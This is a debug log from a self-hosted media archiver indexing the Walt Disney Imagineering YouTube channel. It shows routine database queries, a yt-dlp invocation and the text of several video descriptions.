s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:29.739 [debug] QUERY OK source="sources" db=0.1ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:29.740 [debug] QUERY OK source="media_items" db=0.5ms idle=2.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-15 00:00:00Z], 2] 18:55:29.742 [debug] QUERY OK source="media_items" db=1.4ms idle=3.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🏔 How do Disney Imagineers make mountains? In this episode of Imagineer That!, Tom Morrow 2.0 answers a question from Michelle Khare—asked 25 years ago!—and uncovers the secrets behind Disney’s incredible rockwork and mountain-building techniques. If you’ve ever wondered how Disney creates iconic mountains like Big Thunder or Expedition Everest, this episode reveals the creativity and engineering that make it possible.\n\n✅ What you’ll learn:\n• How Imagineers design and build mountains inside Disney parks\n• The art and science behind realistic rockwork\n• Insider tips on creating immersive landscapes\n\n 📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🏔️ in the comments if you think Disney mountains rock!\n\n#waltdisneyimagineering #imagineerthat #disneymountains", "How do Disney Imagineers make mountains? | Imagineer That!", "5a2865f1-b743-4abf-a5cd-14e159aff374", "YLZlSxFU1rE", "https://www.youtube.com/watch?v=YLZlSxFU1rE", false, false, 20, "/downloads/Walt Disney Imagineering/2025-09-15 How do Disney Imagineers make mountains? | Imagineer That!/How do Disney Imagineers make mountains? | Imagineer That! [YLZlSxFU1rE].NA", false, false, 2, [], 98, ~U[2025-09-15 00:00:00Z], ~U[2026-03-30 22:55:29Z], ~U[2026-03-30 22:55:29Z], "🏔 How do Disney Imagineers make mountains? In this episode of Imagineer That!, Tom Morrow 2.0 answers a question from Michelle Khare—asked 25 years ago!—and uncovers the secrets behind Disney’s incredible rockwork and mountain-building techniques. If you’ve ever wondered how Disney creates iconic mountains like Big Thunder or Expedition Everest, this episode reveals the creativity and engineering that make it possible.\n\n✅ What you’ll learn:\n• How Imagineers design and build mountains inside Disney parks\n• The art and science behind realistic rockwork\n• Insider tips on creating immersive landscapes\n\n 📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🏔️ in the comments if you think Disney mountains rock!\n\n#waltdisneyimagineering #imagineerthat #disneymountains", "How do Disney Imagineers make mountains? | Imagineer That!", "YLZlSxFU1rE", "https://www.youtube.com/watch?v=YLZlSxFU1rE", nil, false, "/downloads/Walt Disney Imagineering/2025-09-15 How do Disney Imagineers make mountains? | Imagineer That!/How do Disney Imagineers make mountains? | Imagineer That! [YLZlSxFU1rE].NA", false, 2, ~U[2025-09-15 00:00:00Z]] 18:55:29.742 [debug] QUERY OK source="sources" db=0.2ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:29.742 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:29.743 [debug] QUERY OK source="media_items" db=0.2ms idle=3.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1527] 18:55:29.743 [debug] Current batch of media processed. Will check again in 1000ms 18:55:29.832 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@waltdisneyimagineering --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/48/e9/48e98427a3d8167bd15d07ff2ff9b028f7b12fd1acaf221eaa11396f67bf4153.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/b0/46/b0462584a890c6bafced45280da133cf7bcd0f06904175d3c01a47a2c4539bc2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 18:55:29.834 [debug] Gracefully stopping file follower 18:55:29.834 [debug] QUERY OK source="sources" db=0.3ms idle=94.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:29.835 [debug] QUERY OK source="sources" db=0.1ms idle=92.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:29.835 [debug] QUERY OK source="media_items" db=0.5ms idle=92.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-24 00:00:00Z], 2] 18:55:29.838 [debug] QUERY OK source="media_items" db=1.7ms idle=93.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go behind the scenes of Disney Imagination Gardens aboard the Disney Adventure and discover how Walt Disney Imagineering, Disney Live Entertainment, and Disney Cruise Line collaborated to create one of the most unique performance spaces ever built for a cruise ship.\n\nWhat began as a simple “what if?” quickly became a fully integrated entertainment environment built around live performance, flying performers, immersive video, and virtual scenery extensions.\nYou’ll hear how the teams worked together to solve major creative challenges—like designing shows that can be viewed from multiple decks and even private stateroom balconies, hiding technical infrastructure in plain sight, and using large‑scale video screens to replace traditional scenery in an outdoor space.\n\n✨ What makes this special?\n• How Imagination Gardens was planned before the ship was fully designed\n• Why video screens and virtual scenery were essential to the space\n• How technology elements like the tech booth were hidden within the environment\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n🎭 Three Stages in ONE Theater?! → \u00A0\u00A0\u00A0•\u00A0How\u00A0Does\u00A0Disney\u00A0Do\u00A0This\u00A0-\u00A0Three\u00A0Stages\u00A0in\u00A0...\u00A0\u00A0\n👻 Pepper's Ghost from Haunted Mansion to Test Track → \u00A0\u00A0\u00A0•\u00A0Pepper's\u00A0Ghost\u00A0from\u00A0Haunted\u00A0Mansion\u00A0to\u00A0Tes...\u00A0\u00A0\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration", "dc23bf5e-5d74-4cbb-a5ad-1d5e81cbf40f", "xX48Eo_uC9c", "https://www.youtube.com/watch?v=xX48Eo_uC9c", false, false, 1, "/downloads/Walt Disney Imagineering/2026-03-24 Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration/Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration [xX48Eo_uC9c].NA", false, false, 2, [], 98, ~U[2026-03-24 00:00:00Z], ~U[2026-03-30 22:55:29Z], ~U[2026-03-30 22:55:29Z], "Go behind the scenes of Disney Imagination Gardens aboard the Disney Adventure and discover how Walt Disney Imagineering, Disney Live Entertainment, and Disney Cruise Line collaborated to create one of the most unique performance spaces ever built for a cruise ship.\n\nWhat began as a simple “what if?” quickly became a fully integrated entertainment environment built around live performance, flying performers, immersive video, and virtual scenery extensions.\nYou’ll hear how the teams worked together to solve major creative challenges—like designing shows that can be viewed from multiple decks and even private stateroom balconies, hiding technical infrastructure in plain sight, and using large‑scale video screens to replace traditional scenery in an outdoor space.\n\n✨ What makes this special?\n• How Imagination Gardens was planned before the ship was fully designed\n• Why video screens and virtual scenery were essential to the space\n• How technology elements like the tech booth were hidden within the environment\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n🎭 Three Stages in ONE Theater?! → \u00A0\u00A0\u00A0•\u00A0How\u00A0Does\u00A0Disney\u00A0Do\u00A0This\u00A0-\u00A0Three\u00A0Stages\u00A0in\u00A0...\u00A0\u00A0\n👻 Pepper's Ghost from Haunted Mansion to Test Track → \u00A0\u00A0\u00A0•\u00A0Pepper's\u00A0Ghost\u00A0from\u00A0Haunted\u00A0Mansion\u00A0to\u00A0Tes...\u00A0\u00A0\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration", "xX48Eo_uC9c", "https://www.youtube.com/watch?v=xX48Eo_uC9c", nil, (truncated) 18:55:29.838 [debug] QUERY OK source="sources" db=0.1ms idle=95.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:29.839 [debug] QUERY OK source="media_items" db=0.5ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-17 00:00:00Z], 2] 18:55:29.840 [debug] QUERY OK source="media_items" db=1.1ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Animated characters often move in non-physical ways and have proportions that are far from a typical walking robot. This provides an ideal platform for innovation in both mechanical design and stylized motion control. In this video, we bring Olaf to life in the physical world, relying on reinforcement learning guided by animation references for control.\nPublication link: https://arxiv.org/abs/2512.16705\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research", "e9e55514-c6ed-4822-bd28-c7aff968a694", "d-WdUYdOdHY", "https://www.youtube.com/watch?v=d-WdUYdOdHY", false, false, 2, "/downloads/Walt Disney Imagineering/2026-03-17 Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research/Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research [d-WdUYdOdHY].NA", false, false, 2, [], 98, ~U[2026-03-17 00:00:00Z], ~U[2026-03-30 22:55:29Z], ~U[2026-03-30 22:55:29Z], "Animated characters often move in non-physical ways and have proportions that are far from a typical walking robot. This provides an ideal platform for innovation in both mechanical design and stylized motion control. In this video, we bring Olaf to life in the physical world, relying on reinforcement learning guided by animation references for control.\nPublication link: https://arxiv.org/abs/2512.16705\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research", "d-WdUYdOdHY", "https://www.youtube.com/watch?v=d-WdUYdOdHY", nil, false, "/downloads/Walt Disney Imagineering/2026-03-17 Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research/Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research [d-WdUYdOdHY].NA", false, 2, ~U[2026-03-17 00:00:00Z]] 18:55:29.841 [debug] QUERY OK source="sources" db=0.2ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:29.842 [debug] QUERY OK source="media_items" db=0.5ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-10 00:00:00Z], 2] 18:55:29.844 [debug] QUERY OK source="media_items" db=1.7ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Disney Adventure - the largest ship in the Disney Cruise Line fleet and the first designed specifically for the Southeast Asia market - is now sailing for all guests to enjoy. Imagineers designed this ship to be classic and modern, blending traditional Disney elements with cutting‑edge technology.\n\nDiscover how Imagineers transformed a half‑built vessel into a fully immersive Disney experience filled with groundbreaking technology, storytelling, and innovation at sea. This required extensive research, major redesigns, and innovative engineering, which delivered remarkable spaces like Imagination Garden, San Fransokyo Street, and so much more.\n\n🔑 Key Takeaways\n→ How Imagineers redesigned an existing ship into a fully Disney vessel\n→ All‑new stage technology with transparent LED walls and hidden speaker arrays\n→ Disney sets a new bar with its largest fireworks show at sea - Lion King: Celebration in the Sky fireworks spectacular\n\n📋 Chapters\nAdventure Overview: 1:13\nDisney Cruise Line Origins: 2:35\nImagination Gardens: 5:40\nOceaneers Club: 13:03\nRotational Dining: 16:05\nFireworks at Sea: 19:10\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n🤖 R&D → \u00A0\u00A0\u00A0•\u00A0Real-Life\u00A0Olaf\u00A0Robot\u00A0&\u00A0Inside\u00A0Imagineering...\u00A0\u00A0\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a 🚢 in the comments if you hope to get on the Disney Adventure one day!", "Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering!", "488d29c6-d00c-4aaf-be8c-5199246f9089", "D2bWh5wTlZ0", "https://www.youtube.com/watch?v=D2bWh5wTlZ0", false, false, 3, "/downloads/Walt Disney Imagineering/2026-03-10 Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering!/Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering! [D2bWh5wTlZ0].NA", false, false, 2, [], 98, ~U[2026-03-10 00:00:00Z], 